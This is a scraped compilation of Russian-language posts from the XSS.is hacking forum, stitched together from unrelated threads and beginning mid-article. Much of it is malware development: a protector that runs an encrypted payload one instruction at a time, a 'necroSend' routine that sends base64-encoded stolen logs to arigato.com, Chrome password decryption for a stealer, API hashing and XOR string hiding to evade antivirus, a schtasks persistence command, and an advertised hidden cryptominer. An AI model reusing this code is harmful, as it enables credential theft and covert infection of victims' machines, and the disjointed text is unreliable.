В начале обработчика мы проверяем, исполняли мы уже до этого какую-либо из инструкций, и если исполняли, то зальем ее обратно байтами 0xCC. Затем мы высчитываем указатель на начало и на конец нашей секции .text. Далее получаем значение регистра EIP, в котором хранится адрес, по которому процессор хотел исполнить инструкцию. Если адрес попадает в нашу залитую INT3 секцию .text, то мы можем расшифровывать инструкцию. Если нет, то это какое-то исключение, вызванное полезной нагрузкой, и как его обработать мы не знаем. Поэтому мы просто изящно умираем.
Далее мы проверяем, является ли инструкция последней в секции .text. Если да, то ее размер скорее всего меньше 16 байт, и нам необходимо подкорректировать количество байт шифр-текста, который мы будем считывать из массива (чтобы ненароком не прочитать данных дальше его границы, ну хоть где-то сейф це- кодинг йопта). Дальше мы расшифровываем инструкцию во временный буфер на стеке (формально в большинстве случаев мы будем расшифровывать данных больше, чем на одну инструкцию — 16 байт, но в данном ключе это не так важно).
С помощью нашего системного дизассемблера длин получаем длину расшифрованной инструкции и в режиме отладочной сборки проекта еще и плюнем в консоль дизасмом этой инструкции. Затем скопируем инструкцию на ее место в виртуальной памяти и настроем ей релок, если он в ней есть. Сохраним адрес и длину текущей инструкции для следующего вызова обработчика и скажем системе, что мы все пофиксили и можно продолжать исполнение с помощью возврата константы EXCEPTION_CONTINUE_EXECUTION.
C++:Copy to clipboard
BOOL execute_payload() {
image = VirtualAlloc(NULL, PayloadImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(image == NULL) { ERR(); return FALSE; }
PBYTE tva = (PBYTE)image + PayloadSectionsRVA[0];
for(DWORD i = 0; i < PayloadSectionsSize[0]; i++)
{ tva[i] = 0xCC; }
for(DWORD i = 1; i < PayloadSections; i++) {
PBYTE va = (PBYTE)image + PayloadSectionsRVA[i];
decrypt_section(i, va, PayloadSectionsSize[i]);
}
auto imp = (PIMAGE_IMPORT_DESCRIPTOR)((PBYTE)image + PayloadImportsRVA);
for(; imp->Name != NULL; imp++) {
auto nam = (LPCSTR)((PBYTE)image + imp->Name);
auto dll = LoadLibraryA(nam);
if(dll == NULL) { ERR(); return FALSE; }
auto oft = (PIMAGE_THUNK_DATA)((PBYTE)image + imp->OriginalFirstThunk);
auto ft = (PIMAGE_THUNK_DATA)((PBYTE)image + imp->FirstThunk);
for(;; oft++, ft++) {
if(oft->u1.AddressOfData == 0)
{ break; }
if (IMAGE_SNAP_BY_ORDINAL(oft->u1.Ordinal)) {
auto ordinal = (LPCSTR)IMAGE_ORDINAL(oft->u1.Ordinal);
ft->u1.Function = (ULONG_PTR)GetProcAddress(dll, ordinal);
continue;
}
auto ibn = (PIMAGE_IMPORT_BY_NAME)((PBYTE)image + oft->u1.AddressOfData);
ft->u1.Function = (ULONG_PTR)GetProcAddress(dll, ibn->Name);
}
}
AddVectoredExceptionHandler(1, vectored_handler);
typedef VOID (*PEntryPoint)();
auto entry = (PEntryPoint)((PBYTE)image + PayloadEntryPoint);
entry();
return TRUE;
}
extern "C" VOID entry_point() {
if(!debugger_attach_self()) { ERR(); }
if(!execute_payload()) { ERR(); }
ExitProcess(0);
}
Ну чтож, нам осталось только собрать все вместе. В функции execute_payload мы правильно расшифровываем и располагаем секции, а на место секции .text наливаем INT3 инструкций на всю длину секций. Затем мы настраиваем таблицу импорта, чтобы все импортируемые полезной нагрузкой функции были готовы к исполнению. Этот код тоже был портирован из donut по описанным выше причинам. Затем мы добавляем обработчик VEH, указывая, что он должен быть первым в цепочке. Ну и вызываем точку входа, которая на тот момент указывает внутрь нашего большого блока из INT3 инструкций. Функция entry_point — точка входа исполняемого файла, просто инициализирует наш системный дизассемблер длин и вызывает функцию execute_payload. Все просто, а собирать мы это все будет аналогично полезной нагрузке, вот весь батник для сборки:
Bash:Copy to clipboard
i686-w64-mingw32-gcc.exe -o payload.exe -fno-exceptions -fno-rtti -fno-ident -O3 -Os payload.cpp -fno-ident -s -Wl,--pic-executable -e_entry_point -nostdlib -lkernel32 -lmsvcrt
python payload.py
i686-w64-mingw32-gcc.exe -o antidump.exe -fno-exceptions -fno-rtti -fno-ident -O3 -Os antidump.cpp -fno-ident -s -e_entry_point -nostdlib -lkernel32 -lmsvcrt -ldbgeng -lole32
6. Заключение
В заключении давайте рассмотрим недостатки этой технологии в том виде, в каком она представлена в этом пруф оф концепте. Во-первых, скорее всего очень много подводных камней осталось не проработано: они могут быть связаны с многопоточностью, с релоками внутри секций данный, с какими-то маргинальными инструкциями и так далее. Предлагаю потереть за это в комментариях к этой статье.
Во-вторых, с точки зрения злых реверсеров есть несколько способов упростить себе жизнь. Например, как показала практика достаточно неплохой идеей оказалось занопить код, который заливал предыдущую инструкцию, и таким образом получить в открытом виде все инструкции, которые были исполнены. Одним из вариантов противодействия этому является использования хеша кода обработчика VEH при расшифровке инструкций, таким образом реверсер не сможет его пропатчить каким-то образом.
В-третьих, с точки зрения злых аверов отсутствие какого-либо шифрования секции с данными — такое себе решения. Если нельзя влепить сигнатуру по памяти на секцию с кодом, то всегда можно влепить ее на секцию с данными. При этом, опять же как показала практика, аверы не особо голову включают, когда лепят сигнатуру (бедный и несчастный язык Nim в этом отношении, никогда вам аверам его не прощу). Очевидным решением этой проблемы является шифрование данных, но тут не так все просто, как с кодом, вероятно придется задействовать отладочные регистры или же парсить руками инструкции и пытаться понять, откуда они хотят и чего именно читать/писать.
В-четвертых, с точки зрения злых аверов можно влепить сигнатуру на сам протектор. В нашем случае в виртуальной памяти процесса должен постоянно существовать обработчик VEH исключений и функция для дешифровки инструкций. Конечно, его можно было бы разложить на эти ваши ROP-цепочки, это сложно, но скорее всего возможно.
В-пятых, а что будет, если сама полезная нагрузка возжелает перехватывать и обрабатывать исключения? В большинстве случаев – будет так себе.
В-шестых, подумайте и напишите в комментариях к статье все проблемы, какие вы видите, и давайте вместе их обдумаем, а я пока напишу, как эту технологию еще можно было бы улучшить. Конечно, это все теоретизация и домыслы с моей стороны, но все же.
Мы могли бы вообще не отображать исполняемый файл на виртуальную память процесса, а выбирать по одной инструкции и своего рода «интерпретировать» их так, как поступает, например, Петон с собственным байт-кодом. Таскать с собой полноценный эмулятор x86 скорее всего будет накладно, поэтому большую часть инструкций мы могли бы исполнять непосредственно на процессоре. А инструкции, которые потребуют чтения/записи памяти и условные/безусловные переходы придется обрабатывать вручную. Это существенно сложнее представленной в статье методики, да и куда менее портабельно в плане x86 и x64 кода, но скорее всего возможно при должном усердии.
Друзья, спасибо, что дочитали мою статью! Задавайте свои вопросы, пишите свои
идеи по тематике статьи, делитесь знаниями!
Эта статья написана специально для вас — для моего любимого уютненького
комьюнити XSS.is.
C++:Copy to clipboard
void necroSend(PCSTR GetLink, PCSTR Logs, SIZE_T LogsSize) {
SIZE_T outsize;
LPCSTR param = custom_base64Encode((LPBYTE)Logs, LogsSize, &outsize);
CHAR* szReq = (CHAR*)_alloc(outsize + 6);
wnsprintfA(szReq, outsize + 6, "logs=%s", param);
HINTERNET hIntSession = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hHttpSession = InternetConnectA(hIntSession, xorstr("arigato.com"), 80, 0, 0, INTERNET_SERVICE_HTTP, 0, NULL);
HINTERNET hHttpRequest = HttpOpenRequestA(hHttpSession, "POST", GetLink, 0, 0, 0, INTERNET_FLAG_RELOAD, 0);
const WCHAR* szHeaders = L"Content-Type: application/x-www-form-urlencoded";
HttpSendRequestW(hHttpRequest, szHeaders, lstrlenW(szHeaders), (CHAR*)szReq, lstrlenA(szReq));
InternetCloseHandle(hHttpRequest);
InternetCloseHandle(hHttpSession);
InternetCloseHandle(hIntSession);
_free((CHAR*)param);
_free((CHAR*)szReq);
}
Доброго времени суток!
Сегодня речь пойдет о шифровке данных внутри программы и будет показан простой пример.
Все мы знаем, что строки не сильно шифруются без дополнительных программ. Это очень опасно.
Если у вас в программе содержится информация в строках, как константы, то их без проблем можно прочитать.
Могу привести пример - вирусописание. Зачастую у неопытных малварь-писателей в билдах остаётся информация, по которой можно выйти на них.
Помимо метаданных, которые некоторые компиляторы оставляют, есть еще и строки. Ссылки, пути, другая информация.
Сразу скажу, этот метод защитит от поверхностного анализа файла. То есть, если пользователь целенаправленно ищет слово "remote" или "rms", то он его не найдет.
И так приступим. Я буду проводить тест на Kali Linux 2019.2
Не обращайте внимание на Linux, под Windows есть подобные программы.
Что нам понадобится?
Начинаем.
Давайте для начала посмотрим, что мы имеем, когда создаем билд с обычной
строкой.
Пишем код:
C++:Copy to clipboard
#include <string.h> //библиотека для работы с классом std::string
int main(){ //функция входа
std::string mystr = "abcd123"; //Строка со значением "abcd123". Эту строку мы будем искать, ее нужно будет скрыть.
//Заметьте мы просто вставляем строку в ячейку памяти. Мы не выводим ее.
return 0; //Успешно завершаем выполнение
}
Компилируем:
Bash:Copy to clipboard
mkdir builds # Папка для билдов
c++ uncrypted.cpp -o builds/uncrypted # В моем случае я использую компилятор "c++", указываю файл исходного кода uncrypted.cpp и сохраняю в builds под именем uncrypted
Смотрим строки:
Bash:Copy to clipboard
strings uncrypted
И видим нашу строку:
Она написана открытым текстом. Что же я предлагаю сделать? Я предлагаю банально зашифровать строку при помощи XOR. (XOR берется в качестве примера)
Напишем наш криптор строк:
C++:Copy to clipboard
#include <iostream> // потоки ввода/вывода
#include <string.h> // библиотека для работы с классом std::string
int main(){ //функция входа
std::string mystr = "abcd123"; // Строка. Вы можете вводить строку и ключ с помощью потоков ввода, делайте на своё усмотрение.
std::string crypted = ""; // Переменная для сохранение зашифрованной строки
for(int i = 0; i < strlen(mystr.c_str()); i++) // Создаем цикл для шифровки каждого символа
crypted += mystr[i] ^ [B]2[/B]; //проводим операцию xor с ключом 2
std::cout << crypted << std::endl; // выводим результат
return 0; //Успешно завершаем выполнение.
}
Компилируем:
c++ crypter.cpp -o builds/cryptor
Запускаем:
./builds/cryptor
Видим, что совершенно понятный нам текст превратился в не понятный набор
символов.
Code:Copy to clipboard
c`af301
Согласитесь, это выглядит куда загадочнее и не понятнее чем наш текст.
Ну и теперь напишем основную программу для теста:
C++:Copy to clipboard
#include <iostream> //потоки ввода/вывода
#include <string.h> // std::string
int main(){
std::string mystr = "c`af301"; //Зашифрованный текст
std::string a = ""; //Строка под расшифрованный текст
for(int i = 0; i < strlen(mystr.c_str()); i++) //Запускаем цикл для каждого символа
a += mystr[i] ^ 2; // Расшифровываем и заполянем переменную.
std::cout << a << std::endl; //Выводим
return 0; //Успешное завершение.
}
Заметьте, ключи при шифрование и расшифровке должны быть одинаковы. Если разные - результат будет другой.
Компилируем:
c++ crypted.cpp -o builds/crypted
Запускаем:
./builds/crypted
Видим правильный вывод строки.
Теперь заглянем внутрь файла.
strings builds/crypted
Видим только зашифрованный текст.
Таким способом вы можете зашифровать и расшифровать любые строки, байты, значения. Но стоит понимать, что от опытных реверсеров это не спасет, хотя и не только от опытных.
Всем спасибо за внимание, пишите свои мнения и критику.
Жду PE криптор с использованием XOR xD
Копирайт и автор @Pazsh
Создаем пустой проект, выбираем Release 32x - > Свойства проекта ->
Компоновщик -> Ввод -> Дополнительные зависимости -> Изменить, и вписываем
туда это:
Код:
Code:Copy to clipboard
Winmm.lib
Winmm.lib
Дальше создаем Main.cpp, и вписываем туда код:
Код:
Code:Copy to clipboard
#include <windows.h>
int main()
{
mciSendString("set cdaudio door open", NULL, NULL, NULL);
mciSendString("set cdaudio door closed", NULL, 0, NULL);
return 0;
}
Все, при запуске программы у нас откроется и закроется дисковод.
Предлагаю вашему вниманию мой первый учебник по C++.
Автор учебника - человек, 10 лет проработавший в корпорации Microsoft.
Книга очень толковая. Если вы хотите изучить C++, но есть страх что ничего не
поймёте, то эта книга для вас. Читается легко.
В заключении каждой темы присутствует домашнее задание)).
http://depositfiles.com/files/fpfzpovcehttp://webfile.ru/6007536
<http://wikisend.com/download/357204/C++ without fear + CD.rar>
Вес: 40 метров.
В архиве прилагается программа для чтения книг формата djvu.
P.s. если вы уже хоть как то знакомы с паскалем или баськой, то освоить книгу
сможете без труда. Компилятор Visual C++ советую скачать с офф сайта
Microsoft.
Если ваш компьютер достаточно слабый, то можете использовать компилятор Dev
C++.
Так же в архиве уже предоставляется компилятор(в книге написано где он).
P.s. сохраняйте все свои записи на C++(и не только) в отдельную папку.
Оно вам очень сильно пригодится. Да и потом года через 3 глянете и посмеётесь,
вспоминая как долго мучались над каким либо кодом
Удачи в кодинге!!!)
humbsup:
Народ, плиз, имею желание заниматься C++, и хотелось бы найти качественные
примеры с пояснениями на русском языке.
Может чем поможете, заранее спасибо. :help: :bang:
Какой компилятор лучше всего юзать для обучения?и откуда его скачать?
C:Copy to clipboard
bool Init()
{
bool bRet = false;
do
{
if (STATUS_SUCCESS != BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0))
{
#ifdef __DEBUG
Debug::DebugMessage(L"[DEBUG] Crypt::BCrypt::Init: can't initialize cryptoprovider. Last error code: %n", GetLastError());
#endif
break;
}
if (STATUS_SUCCESS != BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0))
{
#ifdef __DEBUG
Debug::DebugMessage(L"[DEBUG] Crypt::BCrypt::Init: can't set chaining mode. Last error code: %n", GetLastError());
#endif
break;
}
bRet = true;
} while (false);
return bRet;
}
// ---------------------------------
bool InitKey(
IN PBYTE pbKey
)
{
bool bRet = true;
if (STATUS_SUCCESS != BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, pbKey, AES_256_KEY_SIZE, 0))
{
#ifdef __DEBUG
Debug::DebugMessage(L"[DEBUG] Crypt::BCrypt::Init: can't deinitialize cryptoprovider. Last error code: %n", GetLastError());
#endif
bRet = false;
}
return bRet;
}
// ---------------------------------
bool DecryptPassword(
IN PBYTE pbData,
IN DWORD dwDataLength,
OUT PCHAR pszDestination
)
{
bool bRet = false;
if (NULL == pbData || 0 == dwDataLength || NULL == pszDestination)
{
return bRet;
}
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO BACMI;
BCRYPT_INIT_AUTH_MODE_INFO(BACMI); // Макрос инициализирует структуру BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO
BACMI.pbNonce = &pbData[3]; // Пропускаем префикс "v10".
BACMI.cbNonce = 12; // Размер Nonce = 12 байт.
BACMI.pbTag = &BACMI.pbNonce[12];
BACMI.cbTag = dwDataLength - 3 - 12;
DWORD dwOutLength = 19;
PCHAR pszTest = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwOutLength + 1);
ULONG ua = BCryptDecrypt(hKey, BACMI.pbNonce + BACMI.cbNonce, dwOutLength, &BACMI, NULL, 0, (PUCHAR)pszTest, dwOutLength, &dwOutLength, 0);
}
После правильной цепочки вызовов - BCryptDecrypt возвращает 0xc000d и мусор в буффере. Помогите, пожалуйста.
Давайте рассмотрим стиллеры.
С kpot все понятно, почему такой малый вес. Но что скажете о других стиллера. Почему такой маленький вес, если не юзают винапи? Подгружают dll и т.д.? Автора говорят -нет. Буквально вчера писал полную дешифровку на хроме 80, C++, получил 218 кб. Это ужас просто. Какой должен быть размер стиллера? Говорят чем меньше, тем лучше
Сегодня мы разберем один из самых простых и действенных методов скрытия вызовов WinAPI.Для полного понимания, как работает данный метод необходимо знать как устроен PE-формат.
Как работает данный метод?
Мы будем пробегаться по таблице экспорта системной библиотеки в которой содержится нужная API-функция , хешируя каждое название функции в таблице экспорта.Если хэши одной из функций и нашей функции будут совпадать - то мы нашли указатель на нужную нам функцию.В данном примере я буду использовать алгоритм хеширования CRC-32.У него есть пару минусов :
В реальных условиях желательно использовать другой алгоритм.
Теперь приступим к реализации, напишем функцию получения функции по хешу(все комментарии в коде):
Заголовочный файл:
Code:Copy to clipboard
#pragma once
#include <Windows.h>
LPVOID GetFuncByHash(LPCSTR pszLibrary, UINT uHash);
CPP-файл:
Code:Copy to clipboard
#include "cApiHash.h"
#include "cCRC32.h"
LPVOID GetFuncByHash(LPCSTR pszLibrary, UINT uHash) {
//Загружаем библиотеку
HINSTANCE hLibrary = GetModuleHandleA(pszLibrary);
if (!hLibrary)
return NULL;
//Получаем DOS-заголовок и проверяем его на валидность
PIMAGE_DOS_HEADER pDOSHdr = (PIMAGE_DOS_HEADER)hLibrary;
if (pDOSHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
//Получаем PE-заголовок и проверяем его на валидность
PIMAGE_NT_HEADERS pNTHdr = (PIMAGE_NT_HEADERS)((LPBYTE)hLibrary + pDOSHdr->e_lfanew);
if (pNTHdr->Signature != IMAGE_NT_SIGNATURE)
return NULL;
if ((pNTHdr->FileHeader.Characteristics & IMAGE_FILE_DLL) == NULL ||
pNTHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == NULL ||
pNTHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size == NULL)
return NULL;
//Получаем смещение таблицы экспорта
PIMAGE_EXPORT_DIRECTORY pIED = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)hLibrary +
pNTHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD pdwAddress = (PDWORD)((LPBYTE)hLibrary + pIED->AddressOfFunctions);
PDWORD pdwNames = (PDWORD)((LPBYTE)hLibrary + pIED->AddressOfNames);
PWORD pwOrd = (PWORD)((LPBYTE)hLibrary + pIED->AddressOfNameOrdinals);
//Разбираем таблицу экспорта
for (DWORD i = 0; i < pIED->AddressOfFunctions; i++)
{
LPSTR pszFuncName = (LPSTR)((LPBYTE)hLibrary + pdwNames[i]);
UINT32 u32FuncHash = cCRC32::Hash(pszFuncName, lstrlenA(pszFuncName));
//Если хеши совпадают - возвращаем указатель
if (u32FuncHash == uHash)
return (LPVOID)((LPBYTE)hLibrary + pdwAddress[pwOrd[i]]);
}
}
Теперь протестируем:
Code:Copy to clipboard
#include <Windows.h>
#include "cApiHash.h"
//Прототип функции которую хотим вызвать
typedef int(WINAPI* _MessageBoxA)(
HWND hWND,
LPCSTR pszText,
LPCSTR pszCaption,
UINT uType
);
VOID WINAPI Entry(VOID) {
_MessageBoxA fpMessageBoxA = (_MessageBoxA)GetFuncByHash("user32.dll", 0x572D5D8E);
fpMessageBoxA(NULL, "Hello xss.is", "xss.is", MB_OK);
}
Функция успешно вызвалась
Теперь взглянем на IAT
user32!MessageBoxA там не отображается.
Собственна все)
C#
Одна из моих реализаций, стал эсэт палить.
C#:Copy to clipboard
Process cmd_start = new Process
{
StartInfo = new ProcessStartInfo
("cmd", $"/C schtasks /create /tn \\Windows /tr Temp /st 00:00 /du 9999:59 /sc once /ri 1 /f")
};
cmd_start.StartInfo.CreateNoWindow = true;
cmd_start.StartInfo.UseShellExecute = false;
cmd_start.Start();
Привет.
Недавно видел статью (не помню где) по написанию своего джоинера на vb6
хотелось бы узнать - можно ли такую феню замутить на vc++6 или на bc 3.0?
вообще - как должен работать джоинер? как он совмещает файлы и как антивирус определяет их?
помогите пожалуйста
Созрело несколько вопросов к бывалым программистам - хотел бы задать.
Если не понятно о чём я говорю, то возьмём к примеру Poison Ivy( ну или Pro
Rat)...
1 На чём сейчас пишу интерфейс(рисование, обработка...)? MFC? Windows form? Win API :blink: ? ( вопрос не стоит воспринимать конкретно )
2 Какие сокеты в таком случае следует использовать? Обойтись блокированными или нет?
3 Как избежать подвисания программы( то есть спастись при плохом исходе). ( была мысль сделать отдельный следящий поток, но в случае обнаружения устроить перезапуск? Надо как-то убрать тогда старую программу...)
PS: создавая эту тему и написав название Backdoora со знаком " ' " между r и a
у меня цель, нужно на удалённом компе запустить программу незаметно(глазам хотя бы), то есть тоже самое что запустить и сразу на неё SW_SPOILER(как-то так). Вот вроде есть функция ShellExecute но толи не до конца разобрался, но получалось через раз. Какой надёжный способ это сделать? (собираюсь сам написать, но неоткажусь от какого-нибудь софта...)
И вопрос вдогонку: как можно расшарить файл( для общего доступа в сети ) максимально незаметно, да и вобще как это программно сделать?
:help:
Скриншот самого билдера ( под сам клиппер )
Исходники Билд клиппера можно скачать тут:
https://github.com/r3xq1/ClipSE_Build
Исходники Билдера под клиппер можно скачать по этой ссылке:
https://github.com/r3xq1/ClipSE_Builder
Это вторая версия скрытого майнера на C#, первая тут:
https://xss.is/threads/32232/
Переписан код, лучше адаптирован.
Майнит на всех доступных GPU и CPU
Вес тела: 145кб в основном из за библиотеки SharpZipLib без нее 12кб, можно ее и подгружать отдельно. Кому как.
На момент поста темы:
Сборка под ключ в jabber 20$:
vicode@thesecure.biz (плюшки в коде
прилагаются
)
Спасибки сюда) BTC: 1KHjpcgT3F12AdLJLNKUb8Mwvemqk74aBr
Желательно юзать прокси xmrig.
You must have at least 50 message(s) to view the content.
Или
Paid content.
Purchase user upgrade "Покупка группы Premium" and view the buy tag without restrictions
Личных нет. не просите.
ЗНАНИЕ – СИЛА
1. Хорошая книга для начинающих **" Объектно-ориентированное
программирование в С++" Роберт Лафоре
[Скачать](http://databooks.review/obektno-orientirovannoe-programmirovanie-v-
s-lafore-robert/)
2. **Хорошая книга по том как устроен Windows " Рихтер Дж., Назар К. -
Windows via C C++. Программирование на языке Visual
C++"Скачать
3. Хорошая книга по С, для начинающих то что надо. **" Язык С"
Скачать
4. **Хорошая книга по том как устроен Windows **" Руссинович Устройство
Microsoft. 6-е издание. Часть 2 "
Скачать
5. **Книга по Native API. **" Windows NT(2000) Native API Reference[ENG]"
Скачать
6. **Книга про разработку експлойтов " Modern Windows Exploit Development
[ENG]" Скачать
7. Так же интересная книга про эксплойты, шеллы для новичков " Защита от
взлома: сокеты, эксплойты, shеll-код"
[Скачать](http://www.securityscripts.ru/download/books/zashita-ot-
vzloma.pdf)
Книги буду дополнять. Все сразу не вспомню
И просьба мемберов тоже дополнять, но те книги которые действительно вы
читали, и знаете что книга хорошая. А то в большинстве, много воды и скукота
Я решил написать прогу для загрузки драйвера =) Она дергает ZwLoadDriver
(или NtLoadDriver, что для ntdll без разницы) и, по идее, должна завершаться.
Но не завершается. Процесс висит в памяти. Драйвер, как ни странно, грузится
нормально. Причем процесс загрузчика не умирает даже после вызова
ZwUnloadDriver другим процессом-выгрузчиком. Она так и должна работать или ее
глючит? У меня уже 45 процессов-пустышек загрузчика висит
))
зы. Код:
Code:Copy to clipboard
LPCWSTR Driver = L"\\registry\\machine\\system\\CurrentControlSet\\Services\\Driver";
LPCWSTR DrvFile = L"H:\\Progs\\driver\\Release\\Driver.sys";
HKEY Key, Key2;
LPTSTR Pth;
DWORD dType;
char Image[MAX_PATH];
UNICODE_STRING ImageFile;
lstrcpy(Image, "\\??\\");
GetFullPathName(DrvFile, MAX_PATH, (LPTSTR)((DWORD)Image + 4), &Pth);
dType = 1;
RegOpenKey(HKEY_LOCAL_MACHINE, "system\\CurrentControlSet\\Services", &Key);
RegCreateKey(Key, "Driver", &Key2);
RegSetValueEx(Key2, "ImagePath", 0, REG_SZ, (LPBYTE)&Image, lstrlen(Image));
RegSetValueEx(Key2, "Type", 0, REG_DWORD, (LPBYTE)&dType, sizeof(DWORD));
RegCloseKey(Key2);
RegCloseKey(Key);
RtlInitUnicodeString(&ImageFile, Driver);
ZwLoadDriver(&ImageFile);
Думаю вы уже знакомы с моими статьями: Получаем тематические загрузки вашего exe без слива на ВТ вашей малвари, Клеем 2 программы в 1 без палева до запуска если да же ваши exe очень палятся АВ
Есть много направлений, уже без участия в конкурсе. Голосуем!
Статья какую бы не выбрали будет плотно зависеть от двух статей выше, и будут взаимосвязанны!
Почему C#?
Потому что! И не задавайте мне такие вопросы, буду игнорить. направление у
меня такое. хочу и все.
А стоит ли? мой голос не чего не решит.
Ахренеть как решит, каждый голос важен.
Мое мнение, майнер) есть куда двигать тему по мимо майнера. Советую.
Данный материал показывает, как можно упростить жизнь и куда копать для этого. Мы все часто выполняем различные действия за компом, и как ленивые жопы иногда хочется чуток меньше делать действий. Мне как кодеру, частенько приходится считать контрольные суммы, к примеру md5. Ну и как истинный лентяй, я взял и нашел сайт, где можно онлайн считать. Но что делать если нет интернета, а еще более страшно, что эти сайты ведут логи. И короче как истинный хакер решил все упростить. И понял почему-бы не написать наипростейший бинарь, который в консоли будет считать это.
Вариантик для unix.
main.cpp
C++:Copy to clipboard
#include <stdio.h>
#include <stdlib.h>
#include <string>
#include <iostream>
#include "md5.h"
using namespace std;
int main(int argc, char *argv[]) {
string key;
while(1){
printf("Enter key : \n"); // вывести приглашение
getline(cin,key); // прочитать строку
cout << md5(key) << endl; // посчтитать и вывести результат
}
return 0;
}
Как видно, это очень просто)
](https://github.com/JackieTseng/md5/tree/master/src)
The MD5 Algorithm implement by C++ -- Web Security Project - JackieTseng/md5
github.com
Для винды я не проверял, но софт легко гуглится тоже.
calculating the md5 checksum of a string) ](https://github.com/Wikinaut/md5.vbs)
MD5 calculation (VisualBasic script for calculating the md5 checksum of a string) - Wikinaut/md5.vbs
github.com
Библиотеку md5.h я тупо стырил с github. Все гуглится на ура. Опять же ввод параметров нам дает, чтобы данные не оседали в логах вашего bash.
Вы скажите, вот тебе делать нехер. Бери готовое да юзай. Ну во первых мы знаем что софт делает только то что нужно. А во вторых, мы просто не теряем навык, а может и что нить новое познаем. Я пока думал как сделать, выучил консоль от и до, как параметры передавать, как грабить выводы и так далее. Смысла описывать это все нету, есть учебники.
g++ main.cpp md5.cpp -o md5
Click to expand...
скомпилировали, и засунули в /usr/local/bin и теперь нашу программу можно вызывать из консоли) Ну здорово же, и быстро и анонимненько. Вот мы и создали простую команду для bash которая делат ваши действия. А что делать если нам нужно выполнять несколько команд подряд? Давай-те напишем простой баш скрипт.
#!/bin/bash
rm old.file
cp $1 old.fileClick to expand...
первая строка говорит что мы используем bash скрипт, далее идут список команд где можно передавать параметры с командной строки. через $1 $2 и так далее. Данный скрипт удаляет старый файл и копирует на его место какой скажете. Тоже все просто, теперь обзовем этот bash скрипт megacopy.sh и скопируем в туже папку /usr/local/bin/ и дадим права на запуск.
chmod +x /usr/local/bin/megacopy.sh
Click to expand...
И так можно автоматизировать почти все) То есть логику пилим на каком нибудь простом языке программировния, а либы можно использовать уже готовые. Так ваш мозг совсем не засохнет. С windows таже ситуация, ток консоль там дико не удобная, но есть vbs складываем в папочку и выполняем по клику. А параметры вводим через Dialog.
Или через bat файлы
![remontka.pro](/proxy.php?image=https%3A%2F%2Fremontka.pro%2Fimages%2Fmake- bat-file-windows.png&hash=44f8ffd04492265ec1c2a920e8661916&return_error=1)
windows/)
Простая инструкция для начинающих о том, как создать командный файл bat, изменить его, запустить bat от имени администратора и об основных командах, которые могут пригодиться.
remontka.pro
Копипастить не хочу.
Вот к примеру обычный чекер прокси на питоне, набросал за 15 минут.
Python:Copy to clipboard
import requests
with open('result.txt', 'a') as result_file: # открываем файл для записи резултатов
with open('proxy_list.txt') as f: # открываем файл с проксями
for line in f: # читаем прокси по строчно
proxy_url = line.rstrip('\r\n') # убираем концы строк
proxies = {
"http": "http://"+proxy_url,
"https": "http://"+proxy_url,
} # настраиваем прокси для конекта
try:
r = requests.get("https://raw.githubusercontent.com/kelseyhightower/helloworld/master/README.md", proxies=proxies) # пытеамся приконектиться
body = str(r.content)
if "helloworld" in body: # если конект был удачный , записываем в файл и выводим прокси.
print(proxy_url)
result_file.write(line)
except requests.exceptions.ConnectionError as errc:
continue
print ("end check") # завершаем программа
Программа по сути из 20 строчек ^_^ Самое интересное. что и остальные повседневные задачи занимают не больше кода. Все уже написано за вас! Нужно просто написать аогоритм и размять мозг. И не надо ни чего ни у кого покупать
URL для проверки взяли любой в виде raw файла в интернете, чтобы можно было
чекнуть статус конекта и что получили данные. Можно конечно и по коду
получать, если пришло 200. То прокси живая.
Ну и прокси списком в файле proxy_list.txt. Гитхаб случайный взял, где был
маленький файл)
Вот собственно и все по одиночным командам. Но что делать если мы хотим выполнять наши команды к примеру раз в час или скрипты. В линуксе есть cron в windows есть планировщик.
Ну начнем опять же с линукса, мы создаем скрипт bash с командами.
Далее ставим родной планировщик, если не стоит
apt-get install crontab
Click to expand...
и идем в файл /etc/crontab и добавляем запись в конец
- путь до файла который нужно выполнять
- - - - -
| | | | |
| | | | ----- День недели (0 - 7)
| | | ------- Месяц (1 - 12)
| | --------- День месяца (1 - 31)
| ----------- Час (0 - 23)
------------- Минуты (0 - 59)Click to expand...
К примеру делаем * * * * * /home/user/restart_network.sh где последне это наш
скрипт который мы написали
это будет означать что каждую минуту выполнятся наш скрипт
![www.cyberciti.biz](/proxy.php?image=https%3A%2F%2Fwww.cyberciti.biz%2Fmedia%2Fnew%2Ffaq%2F2006%2F04%2FLinux- cron-jobs-and-log- files.png&hash=f46e3abb415caacf129f010c4857ea41&return_error=1)
](https://www.cyberciti.biz/faq/how-do-i-add-jobs-to-cron-under-linux-or-unix- oses/)
A step by step guide for scheduling cron jobs and commands on Linux, *BSD, and Unix-like operating systems using crontab.
www.cyberciti.biz
для более детального изучения вот ссылка. Для windows все довольно проще, есть планировщик задач, с красивыми окошками для создание этого.
](https://www.tirika.ru/articles/zapusk-programm-po-raspisaniyu/)
Как настроить Windows, чтобы он запускал определенную программу порасписанию, например, каждый час
www.tirika.ru
Для чего может понадобиться эта автоматизация?
Какие языки использовать:
Универсальные С++, python (пригодиться в жизни)
Или какие нибудь типа бейски шарпы, короче кому что нравиться.
Ну и самая главная мудрость "Из комбинации лени и логики получаются программисты. " До 7к не дотягивает, но копипастить не хочу. Хоть покликаете по ссылочкам ^_^
